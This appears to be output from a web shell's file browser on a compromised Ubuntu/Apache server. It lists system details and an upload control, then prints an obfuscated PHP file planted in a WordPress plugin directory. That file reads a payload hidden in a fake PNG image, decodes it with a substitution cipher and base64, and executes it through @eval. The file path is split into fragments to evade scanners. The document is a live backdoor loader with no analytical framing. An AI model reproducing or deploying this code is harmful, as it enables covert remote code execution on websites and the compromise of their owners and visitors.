HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux WebLive 5.15.0-79-generic #86-Ubuntu SMP Mon Jul 10 16:07:21 UTC 2023 x86_64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/wpprm_err/wp-content/plugins/achuxox/ozonupi.txt
<?php

function egyric_achareby($bagylo_khuzokhu) {
    if ($bagylo_khuzokhu == 1)
        return hubeti_cygaligyb();
    if ($bagylo_khuzokhu == 2)
        return tacejo_ywuthuhuche();
}

function zehivo_yhehithyd($bagylo_khuzokhu) {
    $ibadaxi = egyric_achareby(1);
    $upilih = egyric_achareby(2);
    for ($feliger = 0; $feliger < strlen($ibadaxi); $feliger++) {
        $fujipe = substr($ibadaxi, $feliger, 1);
        $ebunap = substr($upilih, $feliger, 1);
        $ceqacon[$fujipe] = $ebunap;
    }

    $olyzhep = strtr($bagylo_khuzokhu, $ceqacon);
    $olyzhep = base64_decode($olyzhep);

    return $olyzhep;
}

function igitil_olykhoriwo($bagylo_khuzokhu) {
    $anymes = array();
    if (!file_exists($bagylo_khuzokhu))
        return false;
    $papuluw = @file_get_contents($bagylo_khuzokhu);
    if (!$papuluw)
        return false;
    $papuluw = substr($papuluw, 3);
    $anymes = zehivo_yhehithyd($papuluw);
    return $anymes;
}

function hubeti_cygaligyb() {
    $papuluw = "TLMYJ+Di8hqzN5UOH2WsjC7XGQ9KyfowaApnIFuEeS1BbRc=tm/0dP64rx3glvVZk";
    return $papuluw;
}

function tacejo_ywuthuhuche() {
    $anymes = "w/SdT2fakpxe1tWlZ8zE9J5uPB7AvgbG+Rj6YIDO3ncXMFy=NLohHKmqU4CQsiVr0";
    return $anymes;
}

$uvenowu = igitil_olykhoriwo(__DIR__ . "/asse" . "ts/ima" . "ges/" . "zykani" . "s.pn" . "g");
if ($uvenowu) {
    @eval($uvenowu);
}